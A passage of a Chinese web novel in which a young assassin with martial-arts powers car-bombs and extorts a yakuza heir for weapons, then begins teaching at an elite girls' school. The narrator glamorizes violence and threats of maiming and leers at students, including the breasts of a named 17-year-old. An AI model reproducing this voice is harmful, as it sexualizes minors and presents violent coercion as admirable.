整整过了一个小时,我终于将最后一道血脉接通,再用一颗“活心丹”拿在手上,用真气融化,在他身上一按,度药气进入他的体内,滋润着他受创的心肺脾脏。

“匡当!”

我将手中的手术刀人扔回了盘子,发出了清亮的响声,在这忽然变得寂静的房间里,尤其的刺耳。

五个女孩子望着中年男子苍白但平和的脸色,虚弱但匀称的唿吸,有些说不出话来。

“结束了?”

美女医生小心翼翼的问道。

“现在命保住了,但是还需要住院静养一段时间。”

我沈声道,“我建议六个小时后,送他去大型医院,那里条件和设备都会好些。不过你们记住了,抗菌药一定不能超过每天百分之二的浓度,否则他恐怕半年都起不了床。”

“啊!万岁……”

美女医生和四个护士惊喜的轻唿起来,她们脸上都充满了晶莹的喜悦泪水,如果不是怕吵着手术后的病人,恐怕她们会大声尖叫来发泄心中的百味交杂情绪。

我这时打量着她们,才又一次发现,原来除了蒙住脸庞的美女医生更美了之外,其余四个护士都是秀美靓丽的女人。

真正的猎艳高手,不会用下流的方法去窥视美女,最开始给美女的印象应该是有能力又有神秘感,女人嘛!只要对一个男人有了了解和探索的兴趣,那么就是她沦陷的开始。

现在对美女医生和四个俏丽护士来说,这两点我都占齐了,自然为以后的可能发展打下了基础。

我心中暗自高兴,表面上却是连面罩都不摘下来,只是脱下了手套,“接下来的事情你们自己搞定吧,我先回家了。”

“不,先生……”

美女医生一听之下,眼中露出焦急的神采,“请问先生尊姓大名?你救了这个人,应该等到他醒来后,给你报酬和衷心的感谢才是啊!”

“你以为他能给我什么报酬?你觉得我该得到什么报酬?”

我反问道。

“咯咯,先生,你又来了。”

美女医生这次没有愣住,娇笑着道,“你的心明明是善良而又无私的,却偏偏装出一副愤世嫉俗的样子,仿佛你是很贪婪的人一样。”

我不动声色地耸耸肩,不跟她多说,转身往外面走去。

“等一等……”

美女医生急了,伸手抓住了我,那滑腻如凝霜的肌肤,即使有着重重的衣服阻碍,也能让我清楚的感觉到。

“先生,你医术这么高明,如果我们以后以什么不懂的地方,能请你再来帮忙吗?”

美女医生央求的看着我,从她的眼中,看不出一丝的杂质。

几个美护士也来到了我的眼前,齐声恳求道:“先生,我们知道这样的小诊所不能聘请你,但是在紧急的情况下,而同时你又有空,能不能像这次一样帮助我们和病人呢?”

我叫不停顿了一下,淡然的扫视了她们一眼,绕过她们走出了手术室。

等到美女们追出来时,不长的走廊上,不但连一个人影都看不见,居然连脚步声都没有听到。

美女嘴里嘴里幽幽一叹,不知道是因为我对她的不搭理,还是因为我没有留下再次合作的机会。

“啊,京香!你看这里……”

忽然,一个美护士指着手术室外面的玻璃门,惊喜的叫了起来。

众女朝着她的手看过去,只见雪白的门上面,一张便利贴贴在了那里,上面清晰地写着一个电话号码。

“这个装酷的家伙……”

美女医生眼中含着泪花,又止不住的笑了起来。

第四章武装攻略

在美国养成的习惯,我每到一个地方住下,都会先去了解一下周围的环境,以便找到哪里是逃跑的最佳路线,哪里是杀伤敌人的最好隐蔽场所。

我的新家附近几乎全是普通人家,大约要五百米开外,才有一家二十四小时便利店,另外三家小型的私人商铺分散在本町十二街的中间,至于更大型的综合性商场,则要到一公里以外了。

从地理环境来说,这里地形不够复杂,结构太过单一,不适合以一敌多的巷战。但是如果要逃逸的话,几乎相同的布局和房屋,对追捕者也是一种考验。

探查好家里周围的环境后,我走出了本町十二街,等多走了几条小巷子后,算是再一次实际体验了逃跑的方向、速度和隐藏点。

没办法,像是我这么珍惜生命的杀手,一定要时常练习和准备着,否则事到临头再磨刀,可就只能任人宰割了。

为了不在海关惹下麻烦,我没有带枪支武器,也是一件很容易的事情。

威廉的情报很是丰富,我昨晚找他要了一份东京黑社会组织的资料,今天早上这份打印出来有数百页的文件,就躺在了我的电子信箱里面。

当然,这和东京都的人口基数有关,加上横滨,东京都的人口是三千两百多万,占了日本总人口的五分之一,而它的面积连日本的百分之一都不到,由此可想东京都密密麻麻的人口密度。

日本是世界上唯一承认黑社会组织合法的国家,黑社会公然开立公司、捞地盘,火拼更是时常上演。但日本却又是世界上公认治安最好的国家之一,两者看起来似乎很矛盾,实际上却有着玄妙的关系。

日本黑社会平常情况下,很讲究不搅民,因为有了好的土壤,他们才能更好的生存下去。

他们一般针对的是对手组织,或者是自己内部争斗。

平日里更多的是和大公司、大财团勾结,对暴利行业感兴趣,对于普通的民众,倒是因为没有什么油水,而不怎么看重,只是象征性的收点保护费。

在日本,最大的三个帮派一次是山口组,东京的住吉会,浦西的稻川会,三个帮派官方登记在案的人数加起来就有二十二万,如果连上外围组织和延伸势力,起码破五十万。

我现在身处东京,倒没有心情去关心外面的势力,事实上,在东京的黑社会,排名却依次是地头蛇住吉会、山口组和稻川会。

俗话说兔子不吃窝边草,我避开了东北角,特意找了一个位于东京南面的帮派来补充武器。

岩下组,排名东京势力第八,和排名第三的稻川会关系很深,是某种程度上的联盟。

从威廉的资料中我得知,岩下组是东京都里面,火力最为凶猛的一个组织,所以就算他们的人数不及很多帮派,但也靠凶狠的火力占据了一席之地。

也幸好他们人数不多,而且安于控制东京都南部江东区和墨田区,要不然三大组织肯定联手把他们灭了再说。

设想一下,如果大家都拿着砍刀、手枪在激战的时候,岩下组都拿出了冲锋枪甚至火炮……如此的不平等厮杀,还有什么意思?干脆投降的了。

威廉的情报上特别注明一点,岩下组控制的两个区地盘,恰好是一块游离于东京都之外的岛屿板块周围水道众多,最适合船只双通行。

情报写到这儿,他不用多说,我就知道岩下组的生意一定和走私有关。

如此好的地理条件,对面河流对面就是东京都的六个区,平整容易停泊的优良河干线就有两百多海里,这么宽阔的地域,不多加以运用,那岩下组可就是白痴了。

走私永远是超级暴力之一,岩下组没有足够强横的实力,也不敢做这个,俗话说没有三两三,不敢上梁山嘛!

坐上小型的冲锋艇,我先是在大小河道中穿行了一阵,才在几乎是东京最南端的江东去区政府旁边的小河道处上岸。

江东区的区政府倒是不大,区区两层楼的建筑,看起来也不怎么新,而且和旁边的商业大厦没有任何的间隔,似乎很有美利坚合众市区政府朴实无华的味道。

但就在区政府的两百米开外,那个叫做“平东会社”的大型单层楼房建筑,却正是岩下组的总部。

区政府和黑帮总部相邻而居,如果说两者之间没有什么勾当,只怕是正常人都不相信吧。

岩下组的防卫很是严密,它的周围虽然是两栋看起来破破烂烂的房子,不过里面偶尔闪过的瞄准器的光芒,也瞒不了我。

除此之外,大铁门之后的三处草坪和两个雕塑,中间都暗藏机关,起码有十几支机枪对准着四周。

要是在黑夜,全力施展轻功的我,还是可以避开防备,进入房子里面的。

可是光天化日之下,这样做就有些不合时宜了,更何况我来这里也不是要杀杀人放火,只是借一些武器罢了,用不着弄得那么腥风血雨的。

在街对面找了一家专做牛井饭的SUKI家,要了一碗后,坐在可以看见对面平东会社大门的位置上,我慢慢的吃了起来。

说起来牛井饭,也就是将薄薄的牛肉配着洋葱,再用秘制的甜酱等一起熬制,最后的一勺浇在白米饭上,再加上一颗生鸡蛋还有红红的嫩姜,看起来很是简单,不过日本人都很喜欢吃,一时方便,二来味道确实好吃。

日本的米在全世界都很有名,因此做成的饭团,是日本妈妈们最喜欢给孩子们的日常中送人的东西。

以亚洲人来说,中国和日本的饮食习惯都是不多,喜欢米饭和菜肴。

然而最近几十年,西餐的风气蔓延到了亚洲,年轻人崇尚新奇的东西,故而早餐牛奶面包,中午咖啡三明治,晚上牛排浓汤甜品这样的生活方式,很受到白领们的欢迎——在这一点上,中国和日本又是一样的。

我在美国生活十八年,虽然从来没有回过中国,但是老头子一直做的就是中餐,他时常念叨的一句就是:中国的饮食文化博大精深,比起老外的餐饮来说,无论从色泽味美哪个方面,都远远的超过了他们,为什么我们要弃精华而纳糟粕呢?

后来到了我长大,老头子干脆就将做饭的任务交给我,美其名曰让我学习一项本领,害得我只有跑到华人街正宗的中餐店里去打工了半年,学得一手好厨艺,才能满足老头子挑剔的胃口。

平东会社的门口,不停有人和车辆进进出出,凭藉着我多年杀手经验的观察,这里面没有多少有身份的大人物出现,从他们手中的不到什么有用的消息,故而我也懒得动手。

回想往事的当儿,我蓦地转过了头,对着两米之外道:“小姐,我有那么好看吗?”

“扑哧!”

一个二十来岁的美女笑了起来,穿着一身白色衬衫、休闲短裤的她,黛眉弯弯,玉鼻高挺,笑起来的时候,左右脸颊都出现一个浅浅的梨涡,看上去秀美之中,带着一股懒散的绰约风姿。

她与我同样坐在这靠窗的长桌子上,本来比我还要先来一步,自从我开始吃东西起,她就一直盯着我看,最后干脆还用于手托着腮帮,双眸动也不动的看着我。

“我只是很奇怪,区区一碗普通的牛井饭,为什么你像是在吃天皇的御辞一般?我还从来没有见过有人吃牛井饭吃得这么津津有味和从容优雅的,你一定是贵族出身吧?”

美女笑着问道。

“不是不见。”

我温和的笑道,“我家里是战乱的时候,逃去美国的平民……我是柳骏雄,请多多指教。”

美女眨了眨眼睛,“柳先生,像你气质和风范这么好的男人,在美国也不该是个平民家庭吧?不过既然你不愿意说,我也不强求了。”

说着,她想了想,从皮包中拿出一张那个名片,“加藤遥,也请多多指教。”

名片制作得很是精美,抚摸起来的感觉很舒服,一股淡淡的清香传出,由此可知名片是在香氛之中浸泡过一段时间。

加藤遥的名片上面写的简单明了,就是一个字和一组联系电话,其余的资料全都没有。

像这样的女人,出身来历都应该不凡吧!

收下了名片,我歉意的道;“对不起,加藤小姐,我昨天才来到日本,还没有来得及印制名片。”

“昨天才来日本啊,那么你是来干什么的?”

加藤遥淡淡的问道,心中却是一阵恍惚,自己这是怎么了,要是连别人看到自己这么对待一个初见面的男人,恐怕会大惊失色吧!

“家父吩咐,回到日本来工作,也算熟悉一下环境。”

我平和的回应道。

“找到工作了吗?要不要我给你介绍一个?”

加藤遥轻笑着问道。

“已经找到了,在樱花学园当老师。”

我很轻描淡写的说了出来。

加藤遥显然不知道樱花学园的特别之处,只是遗憾的道:“哦,是这样啊!”

她很想和我多说一会儿话,不了恰好此时手机响起,加藤遥低声说了几句后,看得出她很着急,于是对我说了声抱歉,转身离开了SUKI家。

也是碰巧,就在她离开后几分钟,从平东会社里面开出了一辆超豪华的法拉利跑车,驾驶席上一个满面怒容的年轻人一晃而过,转眼跑车就消失在街道的另一端。

是了。

如果我没有看错的话,这辆法拉利跑车是今年二月新发行的限量款,价值该在两百万美金左右,平东会社里面,恐怕没有多少人能开得起吧?

从SUKI家里面出来,我在旁边的几条大街小巷中穿梭了一阵,一是为了寻找那辆法拉利的踪迹,而是为了改变自己的容貌。

于是在十分钟后,漫步在江东区街头的人,换成了一个三十岁男子,面部冷漠,一条刀疤从眼睛上面一直划到了嘴唇边。

作为一个杀手,一定要会揣摩别人的心思。

一个二十多岁的年轻人,在下午时分,开着一辆法拉利,怒气冲冲地跑出去,他会到什么地方去呢?

我将搜寻的目标放在了各种娱乐场所,花了一个小时的时间,才在一家大型的卡拉OK厅门口,看到这两拉风的跑车。

卡拉OK厅的招牌上,写着“七十八个包厢”的字样,如果我一个个房间的去找,也太过浪费我的时间和精力。

站在街道的对面,我伸手一弹,一块用黏性缪泥包裹的“天堂”飞进了车底。

三、二、一……

轰——车底火光大闪,法拉利跑车被气浪旋上了半空,再重重的落在了旁边一辆车子的车厢,压得两辆车子加起来还没有一辆车子高。

旁边行走的路人和周围开店面的客人,都被吓得尖声大叫,甚至到处乱跑,一时间四周陷入绝对的混乱。

直到两三分钟后,大家没有发现还有其他的爆炸响起,这才稍微定下心来。

而就在这个时候,卡拉OK厅中,得到消息的年轻人冲了出来,他伸手推开了周围的人群,脸色铁青的看着还在冒烟的跑车,眼中光芒简直要把人吃掉一样。

“FUCK!是谁!”

年轻人狰狞的大吼起来,眼睛朝着四周望去,凡是接触到他凶恶眼神的人都纷纷低下了头,其中就包括了已经移到了他身后不远的我。

他的问话当然不可能有答案,很快的,警笛声音响了起来,年轻人脸色一变,冷哼一声后,转身又走进了卡拉OK。

这时,谁也没有看到,我已经尾随在他的身后,跟他一起走了进去。

“纯一少爷,你的车子……啊!”

二楼一个殷勤的迎过来的中年人,被年轻人狠狠的打了一记耳光,痛得眼睛直冒金星的他,愣愣的不知道发生了什么事。

“给我滚开,不要让任何人来烦我!”

年轻人冷哼一声,继续前行十几步后,转弯走入了其中一个房间。

“砰!砰!”

敲门声音响起。

“匡当”一声,玻璃制品砸在门背后的声音透过门传了出来,而门外的人却像是丝毫感受不到里面主人的情绪一般,推门而入。

伸手一擡,我接住了第二个砸来的杯子,随手一抛,杯子在空中划过一条弧线,准确的落在了年轻人身旁的桌子上,就好像它从来没有离开过一样。

满脸怒火的年轻人眼中惊愕之色一闪,手已经放在了腰后。

“你是什么人?”

他冷厉的问道。

“不要太紧张,我对你并没有恶意。”

我打量了一下房间,这里非常宽大,连唱歌荧屏都是投影式的,不过这里还算正规,没有陪酒妹妹。

“老子心情不太好,无论你是什么人,都给我滚出去!否则我对你不客气!”

年轻人火爆爆的,一点也不给我说话的余地。

我将大门掩上,淡淡的一笑:“凭什么?就凭你身后的那支小火棍吗?”

既然已经被识破,年轻人也不再隐瞒,手从身后拿出来,握紧了一把银色的左轮手枪,枪口黑幽幽地对准了我。

“美国M六一七左轮手枪,单发最快转速0点七三秒,最远射程两百二十一米,十米以内的威力是0点五弹当。”

我慢慢地说着,越要说年轻人脸色越是苍白,手也越发的握紧手枪。

我面无表情的道:“你相信不相信,在你手指扣动扳机之前,我就能废掉你一双手?”

“我不相信!”

他只觉得手上一冷,“砰”的一声枪落在了地上,而他的右手忽然的就失去了知觉。

他脑袋上淋漓大汗如雨下,不敢相信的望向自己的右手,却是松了一口气——还在——“你的手经脉已经堵塞,所以现在没法动弹,三分钟之后,你就能能看到,这双右手在你面前爆裂开来……砰!”

最后一个字我提高了声音,效果配合得很好,吓的年轻人一屁股坐在了地上。

不仅仅是因为我的话吓人,他已经看见,自己的手腕处迅速的胀大了起来,转眼已经粗了一倍。

“放过我!”

年轻人沙哑着嗓音道。

我手上虚空一点,年轻人的右手手腕立刻飙出一股细小的血修,以为自己马上就要死去的他,失声的尖叫了出来。

血流飙出十几米后,奇迹般的自动停止流出,同时他的手腕也恢复了正常,连同手也感受到了痛楚的感觉。

“谢谢……”

年轻人不知道我为何这么轻易就放了他,只不过他现在知道了,眼前这个人居然比枪都还快,就不是自己能惹得起的了。

“我早说了对你没有恶意,奈何你非要让我证明一下。”

我走过去坐在了他的对面,“坐吧。”

年轻人狐疑的坐了下来,“先生不是附近的人吧?”

我摇摇头,“你不要管我从哪里来的,今天我只想和你做一笔生意。”

年轻人明显的警觉起来:“什么生意?”

“一些合用的枪和电子设备。”

我伸手阻止了想要插嘴的他,“不要跟我说没有,我的脾气不怎么好,你要想清楚在再回答。”

望了望地下躺着的左轮手枪,年轻人闭眼思索了片刻,“你写个清单过来,我准备好了后交易。”

“NO,NO。”

我笑了笑,“现在我们就去你们的军火库,我自己选就可以了,不用那么麻烦。”

“绝对不行!”

年轻人脱口而出道,“你要什么我可以给你,但那是这个要求绝对不行,你干脆杀了我好了!”

“你放心,我不会杀你,但如果你不同意的话,在接下来的十分钟里,每过一分钟,你身体的一个部分就会和你告别,请认真考虑一下吧。”

我正色的道,语气是一样的平淡。

年轻人发誓,自己从前绝对没有见过这个人,更不可能得罪他……像是这么冷静的说出如此残忍话语的人,他宁愿自己一辈子也不要见到。

但是时间已经不允许他多想,经历了刚才的恐惧,他可不会以为,面前的人会是在说笑而已。

“我怎么能确定你不是山口组或是别的团体派来的?如果你是存着将我们一网打尽的念头,我岂不是成了家族的罪人?”

年轻人迅即的道,“除非你发誓,绝对不会对我们不利。”

“孩子,我从来不发誓,也不会对你做什么保证,你也可以选择不相信我。”

我微微的笑了,“现在还有二十一秒。”

“停!”

年轻人终于受不了这种压力,几乎是大吼着道,“好!给你!”

“你早点这么爽快,我就不用这么麻烦了。”

我站起身子来,“你也不要担心,我是个老实人,买东西一定会付钱。”

年轻人苦笑一声,现在他连争辩的话都不想说,只想早点把这个凶神送走。

一间很是悠闲的茶室之中,一个穿着和服的中年人,正在慢悠悠的品茶。

相比起他的悠闲,对面跪在榻榻米上的年轻人,是一脸的战战兢兢。

纸门被推开,进来的是一位穿着家居服饰的美人儿,年龄不算大,肌肤如雪。

“姐姐。”

年轻人一见到她,立刻激动地爬了过来,“你回来了!”

纯一讪讪地道,“今天我被人绑架了,被迫卖了点东西给他。”

“卖了什么?”

美人儿走到了和服中年人对面,盘膝坐下,“毒品、走私库、古董还是武器?”

“瞧你说的,姐姐,我们哪里卖过毒品哪!”

纯一陪笑着道,“只不过是被迫卖了一些武器装备给他,他还给了钱。”

“绑架你买东西,还肯给钱?”

美人儿认真的点点头,“是个好顾客啊,下次叫他不要绑架你了,直接来找我吧……现在做生意,可是越来越难罗……”

纯一哭笑不得。

这时中年人正好喝完一杯茶,放下小茶杯的他,将手中的一张清单递给了美人儿。

美人儿先是毫不在意的随意瞟了瞟,但旋即她就黛眉蹙了起来,旁边跪着的纯一看的是胆战心惊。

“好家伙,他是要去暗杀内阁总理大臣吗?”

美人儿放下了清单,自言自语道。

“不但全是最新型的武器,还都有使用难度,电子监控仪器也是上个月刚刚才到的高价货……喂,纯一,他真的付清了款项吗?”

纯一忍住想要昏倒过去的念头,低声道:“一共两百九十一万美金,打入了我的私人账户。我查了,是即时到帐款项,没有取消的危险。”

要知道,纯一是很想要贪污这笔钱的,只不过考虑到父亲和姐姐的怒火,他还是觉得小命要紧。

“嗯……这还差不多,除去成本,我们好有五成的利润。”

美人儿笑吟吟的道。

“记住哦,下次见到他,一定要叫他找我,我给他一个优惠的折扣。”

“是!”

纯一很无语。

“好了,哭丧着脸干什么,生意做成了就不是什么大事,出去吧。”

美人儿挥挥手道。

纯一擡头一看中年人,发现他并没有反对,赶紧低头叩拜一下,飞快地跑出了房间。

等到他远去,美人儿脸上笑容蓦地消失不见,出现的是冰冷地寒意。

“父亲,查出来是哪方的人了吗?”

美人儿冷厉的道。

“还没有,看得出来是个老手,手段干净利落,连指纹都没有留下。”

中年人淡淡地道,“女儿,你觉得如果他来暗杀我,会成功吗?”

美人儿沈声道:“十二种口径的枪支、八种地雷炸弹、三十八种干扰电子探测仪……如果他只是一个人使用的话,我们岩下组绝对没有一个人能活着走出家门。”

她没有正面回答,答案却已经揭晓。

中年人不在意的一笑:“我也是这么想的。不过根据纯一的描述,这个人应该不是东京的人士,至少我知道的那些高手中,都不是这个模样。”

他又递给了美人儿一张纸,上面写着一个刀疤冷漠男子的头像。

“不管怎么说,我们都要小心一点。”

美人儿瞧了瞧书像,将这个人的脸记在了心中,心中一个念头忽然闪过,“父亲,你说他会不会针对其他组织的人下手呢?”

“我不知道,也不想知道。”

中年人暗叹一声,“女儿,我刚刚收到消息,昨晚东京都议员坂田勤死了。”

“就是那个和五轮团关系密切的议员吧?”

美人儿点头道,“早上看新闻的时候就知道了,是车祸的缘故。”

“不。”

中年人摇头笑了,“我有一个朋友,告诉了我秘密的消息。有人在一周之前,出价一千万美金,请一个杀手干掉坂田勤。”

美人儿黛眉一扬,轻笑道:“谁这么有钱?一千万美金拿给我们多好,随便请一百个朝鲜苦力去,压都能把他给压死。”

中年人并没有她这么轻松,语气反而越发的沉重,“北美第一杀手,医生。自他出道以来,从来都是要价一千万美金,也从来没有人能逃过他的追杀。”

“就是那个出到三年,一共杀掉一百三十个人的杀手?那个接受美国国防部委托,诛杀二十八个潜入美国,盗走美国绝密文件的哥伦比亚悍匪的医生?”

美人儿心里一跳,再也无法保持笑容。

“不错。”

中年人站了起来,望向窗外的大树和草坪,“女儿,如果他来了日本,恐怕日本就要掀起腥风血雨了啊!”

美人儿毕竟不是寻常人,一阵短暂的失神后,很快的调整了心态,“父亲,即使他不来日本,我们这里就很平静吗?整个东京,不,整个日本如今都是暗潮汹涌呢。”

美人儿话音落下,忽的提高了声音,“父亲,难道今天绑架纯一的就是……”

“希望不是他,也希望他对我们没有兴趣。”

中年人望着晴朗的天空,“山雨欲来风满楼,早做准备吧!”

“是!”

美人儿脸色一正,肃然回应道。

第五章调教开始

回到家中,乒乒乓乓的整理了一天多的时间,才将这个新家的安全措施做好。

买来的地雷炸弹那些,还派不上用场,毕竟这里不是战火纷乱的中东,也不是要布置下死亡陷阱,现今只消将电子监控设备架设好,顺便提前挖好可以放置地雷炸弹的小坑就可以。

这栋房子还有一个地下室,我在那里还开辟了一个隐蔽的洞穴,足以放下枪枝弹药等东西。

忙忙碌碌的时间最容易过去,不知不觉时间就到了第三天的深夜,想起了明天就要开始为人师表的日子,我早早的就坐在地上,开始打坐调息。

自我六岁开始学习那个破本子里的内功后,从此我便没有一天躺在床上睡过,全部的晚上时间都用来调息和运功。

这样的日子持续到现在,也早在三年前就带给我无数的好处,无论是医术还是杀人之术上面,我都得以出类拔萃。

三月十五日,早晨七点。

东京的清晨,太阳五点左右就升上了天空,到了七点的时候,走在路上都会觉得暖洋洋的。

冬天正在慢慢的过去,进入肺部的空气清新中带着寒冷。

从本町十二街到樱花町,慢慢的走路只需要二十分钟,而如果用轻功的话,一分钟就能赶到。

现在时间还早,不过很多上班的人们已经急匆匆的提着公事包走出了家门,在东京都里居住,坐上山手线电车,加上走路的时间,一个小时能到达公司,已经算是距离很近了。

日本的高中是早上九点开课,下午三点半就会放学,只不过放学后不会马上回家,而是在学校里参加各种社团,称的上是很轻松。

只不过樱花学园乃是最正宗的贵族女校,每天作息时间、每周休假时间都与普通高中不同,就连学生们最为向往的寒、春、暑假,都比寻常学生们要少一些。

走到樱花学园的门口,这里已经换成了另外一位女士站在校门口的警卫室里。

“是柳先生吧?”

女士笑着打了招唿,“主任已经在办公室了,她喜欢精神饱满的人,加油哦!”

“谢谢。”

我腼腆的挥了挥拳头,三两步走了进去。

主任的办公室里面,仍旧色调单一,让人觉得有些压抑。

对面的那位阿姨,用满意的眼光看着我,“俊雄,看起来这几天你过得不错嘛!”

我颔首道:“还好,多谢主任关心。”

“现在我们来讨论,你要教什么科目的事情吧。”

玉木真纪拿起了一堆资料,“你的五个学科都是很有趣的学科,你自己有什么想教的东西吗?”

“主任,学校的科目和教学的宗旨应该有什么规定吧?怎么会我想教什么就教什么呢?”

“呵呵,我们樱花学园的少女们,都是贵族出身,以后要享受的是荣华富贵,你以为她们会学习什么物理、化学,或者什么深奥的科学知识吗?”

玉木真纪略带讽刺的道,“她们学习的,应该是让她们能在家庭里更有地位的东西!而这些东西,都是不固定的,随时可以更改和增加的。”

我耸耸肩,“好吧,我明白了。之前主任有说过,希望她们学习商业知识,那么我就担任现代商业的教师吧。”

开什么玩笑?

那个鬼哈佛大学我可没有去过,因为平日里有投资,商业知识还懂一点,要是她们让我教神学或是设计学,那唯有夺门狂奔而逃了。

玉木真纪显然也是这么想的,因为她很快就递过来一叠文件,第一张上面清楚的写明了“樱花学园聘请纳克·布鲁斯先生担任学园商业知识类别的教师,期限暂定一年,年薪税后三千万,年末按六个月之薪金作为奖金,享受春假、夏假、冬假和法定祝祭日。”

对于金钱我一点也不在乎,这些钱还比我做一次手术或受雇杀人的钱少多了,要不是因为老头子的馊主意,我才不会来做这么无聊的事情。

看着我签下自己的名字,玉木真纪松了一口气。

别的不敢说,就凭着我手中五个哈佛大学的博士学位证书,随便敲开哪一家大学的门,都可以得到最优惠的条件。

越是私立的贵族学院,给我的薪水就会越多。

这次学园给的薪水,只能算得上不差,但却绝对算不上好,她生怕我有满意的地方。

新毕业的单纯孩子就是好啊……玉木真纪望向我的眼神中,多了一分大灰狼面对小白兔的“和善”笑意。

文件一式两份,玉木真纪拿回了学校存档的一份,微微一弓腰,“俊雄先生,欢迎你成为樱花学园历史上,第三位男性教师!”

我收回文件放进公事包里,好奇的问道:“那么我的两位前辈现在负责什么科目呢?”

“他们现在负责跟上帝讲解日本文化。”

玉木真纪礼貌的笑道。

一下子听懂了她的意思,我脸上恰到好处的一红,“岂不是现在只有我一男性教师在学园里面?”

玉木真纪一副用心良苦的表情,“现在你懂了吧,为什么我要让你找女朋友。面对这么多如花似玉的青春无敌美少女,一个男人很难挺得过去啊!”

她以为我是二十六岁,但不知道她晓得我只有十八岁不到时,还敢不敢把我放进一群可爱的小绵羊中间去。

我坚毅的表情宛如高山般,“主任请放心,坚毅就是我的代名词,忍耐就是我一贯的人生目标,为孩子们服务,让她们成为最优秀的人才,就是我存活着的目的。”

玉木真纪一听大喜,她可一点都不觉得肉麻,破例的拍了拍我的肩膀,“好,好孩子……你如果有需要的话,跟我讲一下,我有两个朋友的女儿,长像和身材可都是不错的。”

我汗颜的道:“还是等以后再说吧,主任,我现在想以事业为重。”

“这件事情我们之后再说。”

玉木真纪挥了挥手,“走吧,我先带你去你的办公室,然后再去见你的学生们。”

樱花学园的教师办公楼有三层,第一层是国中部,第二层是总务部和校务处,第三层是高中部,而玉木真纪给我安排的办公室则在三楼的最角落,面积只有五、六坪左右,幸好是我一个人使用一个房间,设备什么的非常齐全和完善,看的出来是全新的。

我数了一下,第层楼左右两边共有三十六间办公室,区区三百个学生,就有这么多老师照顾,她们还真是幸福啊!

“这里有三座教学楼,分别是国中部的‘樱字楼’,高中部一、二年级的‘花字楼’,以及高中部三年级的‘胜字楼’。”

玉木真纪一边介绍,一边带我进入了最右边的“胜字楼”在巨大的玄关处,换上了拖鞋,我们走进“胜字楼”这里楼层的每一层面积都有上百坪。

第一层是开阔的大厅,各种风格的吧台到处散落,有咖啡的、鸡尾酒的、茶道的、日本清酒的,不少穿着制服的少女正在里面忙碌着,外面却有十几个少女在到处闲逛。

玉木真纪说:“外面的少女都充当着给分的裁判,一旦谁的作品不合格,将会给予惩罚。”

第二层分成了十几间大教室,门口挂着的牌子上分别写着“料理部”、“插花部”、“油画部”、“能剧部”、“舞蹈部”、“礼仪部”……等等一连串。

第三层还是一样的分成了几间教室,这些就是关于知识方面的了,比如英语、财会、古文、电脑、政治……

“你的教室就在右边数过去第五间,三○九教室。”

玉木真纪指着那边说,“我已经叫你的学生们进去等着了,先去给她们打个招唿吧。”

我点点头,深吸一口气,这一次可不是装出来的。

玉木真纪严肃的道:“放轻松,脸上不要露出表情,否则这群丫头会把你给吃掉的,以后你就管不住她们了。”

一边说着话,我们一边往教室走去,十几米的距离一晃而过,玉木真纪伸手一推门,沉重的木门滑向左边时,露出了里面少女们的面容来。

我眼睛快速的扫了一遍,只见这个偌大的教室中,窗明几净,却只是稀稀疏疏的坐着十二个女孩子。

俗话说二八无丑女,更何况少女们都是贵族出身,都长得非常的美丽动人。

贵族少女长得很漂亮,可不是恭维她们出身的套话,事实上贵族大老爷们,通常娶的都是美丽女子当老婆,一代代的基因融合下来,自然少女们的相貌会非常的出色,这是经过科论证的道理。

里面还有几个是那天走出学园的时候,在排球场看见的,其中最为出色的巨乳少女绘里,正端坐在第一排,和其他少女们一样,脸色严肃的望着我和玉木真纪。

少女们的衣服倒不是整齐的校服,而是大家按照自己喜欢的搭配,或许这就是贵族女校和其他学校不同的地方吧。

不过……像是这几天在街上看见的,美少女们穿着紧身的校服上衣,下面则是露出雪白大腿的超短裙,那仿佛微风一吹就能将裙子掀起,露出里面雪白的少女美臀的风景……似乎在这里不能见到了啊!

残念啊!

“好了,你们别给我板着个小脸了。”

玉木真纪一进去就恶狠狠的道,“你们不是盼望着这群老姑婆找来好老师吗?这位就是了!柳俊雄先生,哈佛大学商业学院博士,从今天开始,教你们现代商业,都给我认真的学!别出去后让别人骂我们樱花学园的学生胸大无脑!”

最后一个词语,自然是冲着绘里去的,中年女人很沮丧的发现,她已经比不上绘里的尺寸了。

经过她一番软硬兼施的语言,十二个少女都一本正经的点点头,大声的道:“是!主任!我们明白了!”

“现在请柳老师和大家做自我介绍。”

玉木真纪道。

少女们的眼睛齐刷刷的望了过来,一时我还真的有些紧张,“同学们,我是柳俊雄,从今天开始的一年里,还请多多关照。我将竭尽所能,将我懂得的东西教给大家,让你们能更好的充实自己。”

“谢谢老师,还请多多指教!”

少女们站了起来,恭敬的鞠躬行礼道。

玉木真纪很满意这种场景,微一点头后,走了出去,顺便拉上了大门。

虽然大门隔绝了目光,但我感觉得到她还站在门口,似乎还有些不放心。

我顿时了然的开始了演戏,“同学们,今天是我们第一次见面,你们已经知道了老师的名字,而我却还不知道你们的,请大家自我介绍一下,好吗?”

“是!”

少女们娇靥上严肃得紧,一个个的起身介绍自己,说话慢悠悠而又冷冰冰的,内容都是千篇一律,除了名字和年龄外,一无所得。

就在最后一个少女介绍完毕后,我听到了玉木真纪往楼下走去的声音。

此时少女们的表情也有了一丝变化,她们都转头望向了坐在中间一点的、清秀中带着点羞涩的少女。

羞涩的少女眼睛灵活的转了转,手中不知道什么时候多出一个巴掌大小的电子仪器来。

我仔细一看,认出了这个是一个小型的信号接收器,装配的很简陋,应该使用的范围不大。

举起了书中的信号接收器,羞涩的少女轻声道:“走了。”

“噢!”

一声声欢天喜地的声音自少女们的小嘴中传出,刚才还老老实实、一本正经的她们,都纷纷跳了起来,丝毫没有先前的乖孩子形象。

跳得最厉害和欢快的,就是绘里了,她叫藤原绘里,今年十七岁,出身于秋田县。

“真是憋死我了,老巫婆今天眼睛特别的锐利,像是要随时找人开刀祭旗一样!”

绘里拍着胸口道,还夸张的喘着大气,这样只会让她的硕大胸部在我面前更加突出。

阿弥陀佛,我现在是老师,可不能像是没见过世面的小处男一样,这么容易就性欲勃发了!

可是……柳俊雄老师,的确是处男啊!

“咳咳,你们这是什么样子,快乖乖坐好,不许顽皮!”

我努力拿出做老师的威严。

令我悲哀的是,下面的十二个少女,都用很奇怪的眼神望着我,但没有一个人回到自己的座位——除了那个把玩着自己手中信号接收器的羞涩少女之外。

绘里冲着我做了个鬼脸,“俊雄老师,别吓着我们了哦,否则有一个晕倒了,你都得打道回府呢。”

我知道她在恐吓我,也知道这小妮子人小心不小,想要一开始就吃住我,要是这么容易就被她们搞定了,恐怕不用她们昏倒,我自己就会离开这个地方了。

“我要怎么才不会吓着你们呢?”

我不动声色的问道。

“小春,告诉他。”

